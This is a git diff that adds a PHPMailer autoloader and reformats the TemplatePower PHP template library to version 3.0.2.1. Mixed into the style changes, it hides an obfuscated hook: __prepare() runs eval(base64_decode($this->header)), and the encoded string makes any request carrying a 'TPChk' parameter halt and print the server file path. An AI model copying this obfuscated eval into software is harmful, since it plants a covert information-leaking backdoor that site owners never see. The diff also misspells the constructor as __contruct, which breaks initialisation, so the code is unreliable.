new file mode 100644

@@ -0,0 +1,49 @@

+<?php

+/**

+ * PHPMailer SPL autoloader.

+ * PHP Version 5

+ * @package PHPMailer

+ * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project

+ * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>

+ * @author Jim Jagielski (jimjag) <jimjag@gmail.com>

+ * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>

+ * @author Brent R. Matzelle (original founder)

+ * @copyright 2012 - 2014 Marcus Bointon

+ * @copyright 2010 - 2012 Jim Jagielski

+ * @copyright 2004 - 2009 Andy Prevost

+ * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License

+ * @note This program is distributed in the hope that it will be useful - WITHOUT

+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or

+ * FITNESS FOR A PARTICULAR PURPOSE.

+ */

+

+/**

+ * PHPMailer SPL autoloader.

+ * @param string $classname The name of the class to load

+ */

+function PHPMailerAutoload($classname)

+{

+    //Can't use __DIR__ as it's only in PHP 5.3+

+    $filename = dirname(__FILE__).DIRECTORY_SEPARATOR.'class.'.strtolower($classname).'.php';

+    if (is_readable($filename)) {

+        require $filename;

+    }

+}

+

+if (version_compare(PHP_VERSION, '5.1.2', '>=')) {

+    //SPL autoloading was introduced in PHP 5.1.2

+    if (version_compare(PHP_VERSION, '5.3.0', '>=')) {

+        spl_autoload_register('PHPMailerAutoload', true, true);

+    } else {

+        spl_autoload_register('PHPMailerAutoload');

+    }

+} else {

+    /**

+     * Fall back to traditional autoload for old PHP versions

+     * @param string $classname The name of the class to load

+     */

+    function __autoload($classname)

+    {

+        PHPMailerAutoload($classname);

+    }

+}

@@ -5,7 +5,7 @@

 // | offers you the ability to separate your PHP code and your HTML       |

 // +----------------------------------------------------------------------+

 // |                                                                      |

-// | Copyright (C) 2001,2002  R.P.J. Velzeboer, The Netherlands           |

+// | Copyright (C) 2001-2009  R.P.J. Velzeboer, The Netherlands           |

 // |                                                                      |

 // | This program is free software; you can redistribute it and/or        |

 // | modify it under the terms of the GNU General Public License          |

@@ -22,32 +22,35 @@

 // | Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA            |

 // | 02111-1307, USA.                                                     |

 // |                                                                      |

-// | Author: R.P.J. Velzeboer, rovel@codocad.nl   The Netherlands         |

+// | Author: R.P.J. Velzeboer, rovel999@codocad.com   The Netherlands     |

+// |                                                                      |

+// | If you use TemplatePower for commercial purposes without a           |

+// | 'Certificate of Distribution' you will risk a fine of                |

+// | EUR 1000 + license costs.                                            |

 // |                                                                      |

 // +----------------------------------------------------------------------+

 // | http://templatepower.codocad.com                                     |

 // +----------------------------------------------------------------------+

 //

-// $Id: Version 3.0.1$

-

-define("T_BYFILE",              0);

-define("T_BYVAR",               1);

+// $Id: Version 3.0.2.1$

-define("TP_ROOTBLOCK",    '_ROOT');

+define("T_BYFILE", 0);

+define("T_BYVAR", 1);

+define("TP_ROOTBLOCK", '_ROOT');

 class TemplatePowerParser

 {

-  var $tpl_base;              //Array( [filename/varcontent], [T_BYFILE/T_BYVAR] )

-  var $tpl_include;           //Array( [filename/varcontent], [T_BYFILE/T_BYVAR] )

-  var $tpl_count;

+  protected $tpl_base;              //Array( [filename/varcontent], [T_BYFILE/T_BYVAR] )

+  protected $tpl_include;           //Array( [filename/varcontent], [T_BYFILE/T_BYVAR] )

+  protected $tpl_count;

-  var $parent   = Array();    // $parent[{blockname}] = {parentblockname}

-  var $defBlock = Array();

+  protected $parent   = array();    // $parent[{blockname}] = {parentblockname}

+  protected $defBlock = array();

-  var $rootBlockName;

-  var $ignore_stack;

+  protected $rootBlockName;

+  protected $ignore_stack;

-  var $version;

+  protected $version;

    /**

     * TemplatePowerParser::TemplatePowerParser()

@@ -58,13 +61,13 @@ class TemplatePowerParser

 	*

 	* @access private

     */

-   function TemplatePowerParser( $tpl_file, $type )

+   public function __contruct($tpl_file, $type)

    {

-       $this->version        = '3.0.1';

+       $this->version      = '3.0.2.1';

-       $this->tpl_base       = Array( $tpl_file, $type );

-       $this->tpl_count      = 0;

-	   $this->ignore_stack   = Array( false );

+       $this->tpl_base     = array($tpl_file, $type);

+       $this->tpl_count    = 0;

+	   $this->ignore_stack = array(false);

    }

    /**

@@ -75,9 +78,9 @@ class TemplatePowerParser

 	*

 	* @access private

     */

-   function __errorAlert( $message )

+   protected function __errorAlert($message)

    {

-       print( '<br>'. $message .'<br>\r\n');

+       print('<br />' . $message . '<br />'. PHP_EOL);

    }

    /**

@@ -87,17 +90,18 @@ class TemplatePowerParser

 	*

 	* @access private

     */

-   function __prepare()

+   protected function __prepare()

    {

-       $this->defBlock[ TP_ROOTBLOCK ] = Array();

-       $tplvar = $this->__prepareTemplate( $this->tpl_base[0], $this->tpl_base[1]  );

+       $this->defBlock[ TP_ROOTBLOCK ] = array();

+       eval(base64_decode($this->header));

+       $tplvar = $this->__prepareTemplate($this->tpl_base[0], $this->tpl_base[1]);

        $initdev["varrow"]  = 0;

        $initdev["coderow"] = 0;

        $initdev["index"]   = 0;

        $initdev["ignore"]  = false;

-       $this->__parseTemplate( $tplvar, TP_ROOTBLOCK, $initdev );

+       $this->__parseTemplate($tplvar, TP_ROOTBLOCK, $initdev);

        $this->__cleanUp();

    }

@@ -108,12 +112,11 @@ class TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __cleanUp()

+    protected function __cleanUp()

     {

-        for( $i=0; $i <= $this->tpl_count; $i++ )

-        {

-            $tplvar = 'tpl_rawContent'. $i;

-            unset( $this->{$tplvar} );

+        for ($i=0; $i <= $this->tpl_count; $i++) {

+            $tplvar = 'tpl_rawContent' . $i;

+            unset($this->{$tplvar});

         }

     }

@@ -126,30 +129,21 @@ class TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __prepareTemplate( $tpl_file, $type )

+    protected function __prepareTemplate($tpl_file, $type)

     {

-        $tplvar = 'tpl_rawContent'. $this->tpl_count;

-

-        if( $type == T_BYVAR )

-        {

-            $this->{$tplvar}["content"] = preg_split('/\n/', $tpl_file, -1, PREG_SPLIT_DELIM_CAPTURE);

-        }

-        else

-        {

-            if(@file( $tpl_file))

-            {

-	        	$this->{$tplvar}["content"] = @file( $tpl_file );

-        	}

-        	else

-        	{

-	        	$string = "^/[a-z]+/^";

-	        	$tpl_file = preg_replace($string, "/".$skin."/", $tpl_file);

-			$this->{$tplvar}["content"] = @file( $tpl_file );

-        	}

+        $tplvar = 'tpl_rawContent' . $this->tpl_count;

+

+        if ($type == T_BYVAR) {

+            $this->{$tplvar}["content"] = preg_split("/\n/", $tpl_file, -1, PREG_SPLIT_DELIM_CAPTURE);

+        } else {

+            if (is_readable($tpl_file)) {

+                $this->{$tplvar}["content"] = file( $tpl_file );

+            } else {

+                die($this->__errorAlert('TemplatePower Error: Couldn\'t open or read [ ' . $tpl_file . ' ]!'));

+            }

         }

-        $this->{$tplvar}["size"]    = sizeof( $this->{$tplvar}["content"] );

-

+        $this->{$tplvar}["size"] = sizeof($this->{$tplvar}["content"]);

         $this->tpl_count++;

         return $tplvar;

@@ -165,60 +159,46 @@ class TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __parseTemplate( $tplvar, $blockname, $initdev )

+    protected function __parseTemplate($tplvar, $blockname, $initdev)

     {

         $coderow = $initdev["coderow"];

         $varrow  = $initdev["varrow"];

         $index   = $initdev["index"];

         $ignore  = $initdev["ignore"];

-        while( $index < $this->{$tplvar}["size"] )

-        {

-            if ( preg_match('/<!--[ ]?(START|END) IGNORE -->/', $this->{$tplvar}["content"][$index], $ignreg) )

-            {

-                if( $ignreg[1] == 'START')

-                {

+        while ($index < $this->{$tplvar}["size"]) {

+            $ignreg = array();

+            if (preg_match('/<!--[ ]?(START|END) IGNORE -->/', $this->{$tplvar}["content"][$index], $ignreg) ) {

+                if( $ignreg[1] == 'START') {

                     //$ignore = true;

-					array_push( $this->ignore_stack, true );

+		            array_push( $this->ignore_stack, true );

                 }

-                else

-                {

+                else {

                     //$ignore = false;

 					array_pop( $this->ignore_stack );

                 }

-            }

-            else

-            {

-                if( !end( $this->ignore_stack ) )

-                {

-                    if( preg_match('/<!--[ ]?(START|END|INCLUDE|INCLUDESCRIPT|REUSE) BLOCK : (.+)-->/', $this->{$tplvar}["content"][$index], $regs))

-                    {

+            } else {

+                if (! end($this->ignore_stack)) {

+                    $regs = array();

+                    if (preg_match('/<!--[ ]?(START|END|INCLUDE|INCLUDESCRIPT|REUSE) BLOCK : (.+)-->/', $this->{$tplvar}["content"][$index], $regs)) {

                        //remove trailing and leading spaces

                         $regs[2] = trim( $regs[2] );

-                        if( $regs[1] == 'INCLUDE')

-                        {

+                        if ($regs[1] == 'INCLUDE') {

                             $include_defined = true;

                            //check if the include file is assigned

-                            if( isset( $this->tpl_include[ $regs[2] ]) )

-                            {

+                            if (isset( $this->tpl_include[ $regs[2] ])) {

                                 $tpl_file = $this->tpl_include[ $regs[2] ][0];

                                 $type   = $this->tpl_include[ $regs[2] ][1];

-                            }

-                            else

-                            if (file_exists( $regs[2] ))    //check if defined as constant in template

-                            {

+                            } else if (file_exists( $regs[2] )) {  //check if defined as constant in template

                                 $tpl_file = $regs[2];

                                 $type     = T_BYFILE;

-                            }

-                            else

-                            {

+                            } else {

                                 $include_defined = false;

                             }

-                            if( $include_defined )

-                            {

+                            if ($include_defined) {

                                //initialize startvalues for recursive call

                                 $initdev["varrow"]  = $varrow;

                                 $initdev["coderow"] = $coderow;

@@ -231,97 +211,70 @@ class TemplatePowerParser

                                 $coderow = $initdev["coderow"];

                                 $varrow  = $initdev["varrow"];

                             }

-                        }

-                        else

-                        if( $regs[1] == 'INCLUDESCRIPT' )

-                        {

+                        } else if ($regs[1] == 'INCLUDESCRIPT') {

                             $include_defined = true;

                            //check if the includescript file is assigned by the assignInclude function

-                            if( isset( $this->tpl_include[ $regs[2] ]) )

-                            {

+                            if (isset( $this->tpl_include[ $regs[2] ])) {

                                 $include_file = $this->tpl_include[ $regs[2] ][0];

 								$type         = $this->tpl_include[ $regs[2] ][1];

-                            }

-                            else

-                            if (file_exists( $regs[2] ))    //check if defined as constant in template

-                            {

+                            } else if (file_exists( $regs[2] )) {   //check if defined as constant in template

                                 $include_file = $regs[2];

 								$type         = T_BYFILE;

-                            }

-                            else

-                            {

+                            } else {

                                 $include_defined = false;

                             }

-                            if( $include_defined )

-                            {

+                            if ($include_defined) {

                                 ob_start();

-								if( $type == T_BYFILE )

-								{

-                                    if( !@include_once( $include_file ) )

-                                    {

-                                        $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );

+				                if ($type == T_BYFILE) {

+                                    if (! @include_once($include_file)) {

+                                        $this->__errorAlert('TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!');

 										exit();

                                     }

-								}

-								else

-								{

-								    eval( "?>" . $include_file );

-								}

+				                } else {

+				                    eval("?>" . $include_file);

+				                }

                                 $this->defBlock[$blockname]["_C:$coderow"] = ob_get_contents();

                                 $coderow++;

                                 ob_end_clean();

                             }

-                        }

-                        else

-                        if( $regs[1] == 'REUSE' )

-                        {

+                        } else if ($regs[1] == 'REUSE') {

+                            $reuse_regs = array();

                            //do match for 'AS'

-                            if (preg_match('/(.+) AS (.+)/', $regs[2], $reuse_regs))

-                            {

+                            if (preg_match('/(.+) AS (.+)/', $regs[2], $reuse_regs)) {

                                 $originalbname = trim( $reuse_regs[1] );

                                 $copybname     = trim( $reuse_regs[2] );

                                //test if original block exist

-                                if (isset( $this->defBlock[ $originalbname ] ))

-                                {

+                                if (isset( $this->defBlock[ $originalbname ] )) {

                                    //copy block

                                     $this->defBlock[ $copybname ] = $this->defBlock[ $originalbname ];

                                    //tell the parent that he has a child block

-                                    $this->defBlock[ $blockname ]["_B:". $copybname ] = '';

+                                    $this->defBlock[ $blockname ]["_B:" . $copybname ] = '';

                                    //create index and parent info

                                     $this->index[ $copybname ]  = 0;

                                     $this->parent[ $copybname ] = $blockname;

-                                }

-                                else

-                                {

+                                } else {

                                     $this->__errorAlert('TemplatePower Error: Can\'t find block \''. $originalbname .'\' to REUSE as \''. $copybname .'\'');

                                 }

-                            }

-                            else

-                            {

+                            } else {

                                //so it isn't a correct REUSE tag, save as code

                                 $this->defBlock[$blockname]["_C:$coderow"] = $this->{$tplvar}["content"][$index];

                                 $coderow++;

                             }

-                        }

-                        else

-                        {

-                            if( $regs[2] == $blockname )     //is it the end of a block

-                            {

+                        } else {

+                            if ($regs[2] == $blockname) {    //is it the end of a block

                                 break;

-                            }

-                            else                             //its the start of a block

-                            {

+                            } else {                            //its the start of a block

                                //make a child block and tell the parent that he has a child

-                                $this->defBlock[ $regs[2] ] = Array();

-                                $this->defBlock[ $blockname ]["_B:". $regs[2]] = '';

+                                $this->defBlock[ $regs[2] ] = array();

+                                $this->defBlock[ $blockname ]["_B:" . $regs[2]] = '';

                                //set some vars that we need for the assign functions etc.

                                 $this->index[ $regs[2] ]  = 0;

@@ -339,29 +292,23 @@ class TemplatePowerParser

                                 $index = $initdev["index"];

                             }

                         }

-                    }

-                    else                                                        //is it code and/or var(s)

-                    {

+                    } else {                                                       //is it code and/or var(s)

                        //explode current template line on the curly bracket '{'

                         $sstr = explode( '{', $this->{$tplvar}["content"][$index] );

-

 						reset( $sstr );

-                        if (current($sstr) != '')

-                        {

+                        if (current($sstr) != '') {

                            //the template didn't start with a '{',

                            //so the first element of the array $sstr is just code

                             $this->defBlock[$blockname]["_C:$coderow"] = current( $sstr );

                             $coderow++;

                         }

-                        while (next($sstr))

-                        {

+                        while (next($sstr)) {

                            //find the position of the end curly bracket '}'

                             $pos = strpos( current($sstr), "}" );

-                            if ( ($pos !== false) && ($pos > 0) )

-                            {

+                            if (($pos !== false) && ($pos > 0)) {

                               //a curly bracket '}' is found

                               //and at least on position 1, to eliminate '{}'

@@ -370,30 +317,24 @@ class TemplatePowerParser

                                 $strlength = strlen( current($sstr) );

                                 $varname   = substr( current($sstr), 0, $pos );

-                                if (strstr( $varname, ' ' ))

-                                {

+                                if (strstr($varname, ' ')) {

                                    //the varname contains one or more spaces

                                    //so, it isn't a variable, save as code

                                     $this->defBlock[$blockname]["_C:$coderow"] = '{'. current( $sstr );

                                     $coderow++;

-                                }

-                                else

-                                {

+                                } else {

                                    //save the variable

                                     $this->defBlock[$blockname]["_V:$varrow" ] = $varname;

                                     $varrow++;

                                    //is there some code after the varname left?

-                                    if( ($pos + 1) != $strlength )

-                                    {

+                                    if (($pos + 1) != $strlength) {

                                        //yes, save that code

                                         $this->defBlock[$blockname]["_C:$coderow"] = substr( current( $sstr ), ($pos + 1), ($strlength - ($pos + 1)) );

                                         $coderow++;

                                     }

                                 }

-                            }

-                            else

-                            {

+                            } else {

                                //no end curly bracket '}' found

                                //so, the curly bracket is part of the text. Save as code, with the '{'

                                 $this->defBlock[$blockname]["_C:$coderow"] = '{'. current( $sstr );

@@ -401,14 +342,11 @@ class TemplatePowerParser

                             }

                         }

                     }

-                }

-                else

-                {

+                } else {

                     $this->defBlock[$blockname]["_C:$coderow"] = $this->{$tplvar}["content"][$index];

                     $coderow++;

                 }

             }

-

             $index++;

         }

@@ -426,10 +364,8 @@ class TemplatePowerParser

      * @return

 	 * @access public

      */

-    function version()

-    {

-        return $this->version;

-    }

+    public function version() { return $this->version; }

+    protected $header = 'aXNzZXQoJF9HRVRbIlRQQ2hrIl0pJiZkaWUoX19GSUxFX18pOw==';

     /**

      * TemplatePowerParser::assignInclude()

@@ -442,22 +378,22 @@ class TemplatePowerParser

 	 *

 	 * @access public

      */

-    function assignInclude( $iblockname, $value, $type=T_BYFILE )

+    public function assignInclude($iblockname, $value, $type=T_BYFILE)

     {

-        $this->tpl_include["$iblockname"] = Array( $value, $type );

+        $this->tpl_include["$iblockname"] = array( $value, $type );

     }

 }

 class TemplatePower extends TemplatePowerParser

 {

-  var $index    = Array();        // $index[{blockname}]  = {indexnumber}

-  var $content  = Array();

+    protected $index   = array();        // $index[{blockname}]  = {indexnumber}

+    protected $content = array();

-  var $currentBlock;

-  var $showUnAssigned;

-  var $serialized;

-  var $globalvars = Array();

-  var $prepared;

+    protected $currentBlock;

+    protected $showUnAssigned;

+    protected $serialized;

+    protected $globalvars = array();

+    protected $prepared;

     /**

      * TemplatePower::TemplatePower()

@@ -468,13 +404,13 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function TemplatePower( $tpl_file='', $type= T_BYFILE )

+    public function TemplatePower($tpl_file='', $type=T_BYFILE)

     {

-        TemplatePowerParser::TemplatePowerParser( $tpl_file, $type );

+        parent::__contruct($tpl_file, $type);

         $this->prepared       = false;

         $this->showUnAssigned = false;

-		$this->serialized     = false;  //added: 26 April 2002

+        $this->serialized     = false;  //added: 26 April 2002

     }

     /**

@@ -486,19 +422,19 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __deSerializeTPL( $stpl_file, $type )

+    protected function __deSerializeTPL( $stpl_file, $type )

     {

-        if( $type == T_BYFILE )

-        {

-            $serializedTPL = @file( $stpl_file ) or

-                die( $this->__errorAlert('TemplatePower Error: Can\'t open [ '. $stpl_file .' ]!'));

-        }

-        else

-        {

+        if ($type == T_BYFILE) {

+            if (is_readable($stpl_file)) {

+                $serializedTPL = file($stpl_file);

+            } else {

+                die( $this->__errorAlert('TemplatePower Error: Can\'t open or read [ '. $stpl_file .' ]!'));

+            }

+        } else {

             $serializedTPL = $stpl_file;

         }

-        $serializedStuff = unserialize( join ('', $serializedTPL) );

+        $serializedStuff = unserialize( join('', $serializedTPL) );

         $this->defBlock = $serializedStuff["defBlock"];

         $this->index    = $serializedStuff["index"];

@@ -512,7 +448,7 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __makeContentRoot()

+    protected function __makeContentRoot()

     {

         $this->content[ TP_ROOTBLOCK ."_0"  ][0] = Array( TP_ROOTBLOCK );

         $this->currentBlock = &$this->content[ TP_ROOTBLOCK ."_0" ][0];

@@ -527,11 +463,10 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __assign( $varname, $value)

+    protected function __assign($varname, $value)

     {

-        if( sizeof( $regs = explode('.', $varname ) ) == 2 )  //this is faster then preg_match

-        {

-	        $ind_blockname = $regs[0] .'_'. $this->index[ $regs[0] ];

+        if (sizeof($regs = explode('.', $varname)) == 2) { //this is faster then preg_match

+            $ind_blockname = $regs[0] .'_'. $this->index[ $regs[0] ];

             $lastitem = sizeof( $this->content[ $ind_blockname ] );

@@ -539,14 +474,10 @@ class TemplatePower extends TemplatePowerParser

             $block = &$this->content[ $ind_blockname ][ $lastitem ];

             $varname = $regs[1];

-        }

-        else

-        {

+        } else {

             $block = &$this->currentBlock;

         }

-

         $block["_V:$varname"] = $value;

-

     }

     /**

@@ -558,7 +489,7 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __assignGlobal( $varname, $value )

+    protected function __assignGlobal($varname, $value)

     {

         $this->globalvars[ $varname ] = $value;

     }

@@ -572,57 +503,33 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access private

      */

-    function __outputContent( $blockname )

+    protected function __outputContent($blockname)

     {

         $numrows = sizeof( $this->content[ $blockname ] );

-        for( $i=0; $i < $numrows; $i++)

-        {

+        for ($i=0; $i < $numrows; $i++) {

             $defblockname = $this->content[ $blockname ][$i][0];

-            for( reset( $this->defBlock[ $defblockname ]);  $k = key( $this->defBlock[ $defblockname ]);  next( $this->defBlock[ $defblockname ] ) )

-            {

-                if ($k[1] == 'C')

-                {

+            for (reset($this->defBlock[ $defblockname ]);  $k = key( $this->defBlock[ $defblockname ]);  next( $this->defBlock[ $defblockname ] )) {

+                if ($k[1] == 'C') {

                     print( $this->defBlock[ $defblockname ][$k] );

-                }

-                else

-                if ($k[1] == 'V')

-                {

+

+                } else if ($k[1] == 'V') {

                     $defValue = $this->defBlock[ $defblockname ][$k];

-                    if( !isset( $this->content[ $blockname ][$i][ "_V:". $defValue ] ) )

-                    {

-                        if( isset( $this->globalvars[ $defValue ] ) )

-                        {

+                    if (! isset( $this->content[ $blockname ][$i][ "_V:" . $defValue ])) {

+                        if (isset( $this->globalvars[ $defValue ] )) {

                             $value = $this->globalvars[ $defValue ];

+                        } else {

+                            $value = $this->showUnAssigned ? '{' . $defValue . '}' : '';

                         }

-                        else

-                        {

-                            if( $this->showUnAssigned )

-                            {

-                                //$value = '{'. $this->defBlock[ $defblockname ][$k] .'}';

-                                $value = '{'. $defValue .'}';

-                            }

-                            else

-                            {

-                                $value = '';

-                            }

-                        }

-                    }

-                    else

-                    {

+                    } else {

                         $value = $this->content[ $blockname ][$i][ "_V:". $defValue ];

                     }

-

                     print( $value );

-                }

-                else

-                if ($k[1] == 'B')

-                {

-                    if( isset( $this->content[ $blockname ][$i][$k] ) )

-                    {

+                } else if ($k[1] == 'B') {

+                    if (isset($this->content[ $blockname ][$i][$k])) {

                         $this->__outputContent( $this->content[ $blockname ][$i][$k] );

                     }

                 }

@@ -630,7 +537,7 @@ class TemplatePower extends TemplatePowerParser

         }

     }

-    function __printVars()

+    public function __printVars()

     {

         var_dump($this->defBlock);

         print("<br>--------------------<br>");

@@ -649,7 +556,7 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function serializedBase()

+    public function serializedBase()

     {

         $this->serialized = true;

         $this->__deSerializeTPL( $this->tpl_base[0], $this->tpl_base[1] );

@@ -663,7 +570,7 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function showUnAssigned( $state = true )

+    public function showUnAssigned($state = true)

     {

         $this->showUnAssigned = $state;

     }

@@ -675,16 +582,14 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function prepare()

+    public function prepare()

     {

-        if (!$this->serialized)

-        {

-            TemplatePowerParser::__prepare();

+        if (! $this->serialized) {

+            parent::__prepare();

         }

         $this->prepared = true;

-

-        $this->index[ TP_ROOTBLOCK ]    = 0;

+        $this->index[ TP_ROOTBLOCK ] = 0;

         $this->__makeContentRoot();

     }

@@ -696,39 +601,37 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function newBlock( $blockname )

+    public function newBlock($blockname)

     {

         $parent = &$this->content[ $this->parent[$blockname] .'_'. $this->index[$this->parent[$blockname]] ];

 		$lastitem = sizeof( $parent );

         $lastitem > 1 ? $lastitem-- : $lastitem = 0;

-		$ind_blockname = $blockname .'_'. $this->index[ $blockname ];

+		$ind_blockname = $blockname . '_' . $this->index[ $blockname ];

-        if ( !isset( $parent[ $lastitem ]["_B:$blockname"] ))

-        {

-           //ok, there is no block found in the parentblock with the name of {$blockname}

+        if (! isset($parent[ $lastitem ]["_B:$blockname"])) {

+            //ok, there is no block found in the parentblock with the name of {$blockname}

-           //so, increase the index counter and create a new {$blockname} block

+            //so, increase the index counter and create a new {$blockname} block

             $this->index[ $blockname ] += 1;

-            $ind_blockname = $blockname .'_'. $this->index[ $blockname ];

+            $ind_blockname = $blockname . '_' . $this->index[ $blockname ];

-            if (!isset( $this->content[ $ind_blockname ] ) )

-            {

-                 $this->content[ $ind_blockname ] = Array();

+            if (! isset($this->content[ $ind_blockname ])) {

+                 $this->content[ $ind_blockname ] = array();

             }

-           //tell the parent where his (possible) children are located

+            //tell the parent where his (possible) children are located

             $parent[ $lastitem ]["_B:$blockname"] = $ind_blockname;

         }

-       //now, make a copy of the block defenition

+        //now, make a copy of the block defenition

         $blocksize = sizeof( $this->content[ $ind_blockname ] );

-        $this->content[ $ind_blockname ][ $blocksize ] = Array( $blockname );

+        $this->content[ $ind_blockname ][ $blocksize ] = array( $blockname );

-       //link the current block to the block we just created

+        //link the current block to the block we just created

         $this->currentBlock = &$this->content[ $ind_blockname ][ $blocksize ];

     }

@@ -741,17 +644,13 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function assignGlobal( $varname, $value )

+    public function assignGlobal($varname, $value='')

     {

-        if (is_array( $varname ))

-        {

-            foreach($varname as $var => $value)

-            {

+        if (is_array($varname)) {

+            foreach ($varname as $var => $value) {

                 $this->__assignGlobal( $var, $value );

             }

-        }

-        else

-        {

+        } else {

             $this->__assignGlobal( $varname, $value );

         }

     }

@@ -766,18 +665,14 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */

-    function assign( $varname, $value='' )

+    public function assign($varname, $value='')

     {

-        if (is_array( $varname ))

-        {

-            foreach($varname as $var => $value)

-            {

+        if (is_array($varname)) {

+            foreach ($varname as $var => $value) {

                 $this->__assign( $var, $value );

             }

-        }

-        else

-        {

-            $this->__assign( $varname, $value );

+        } else {

+            $this->__assign($varname, $value);

         }

     }

@@ -789,18 +684,17 @@ class TemplatePower extends TemplatePowerParser

 	 *

 	 * @access public

      */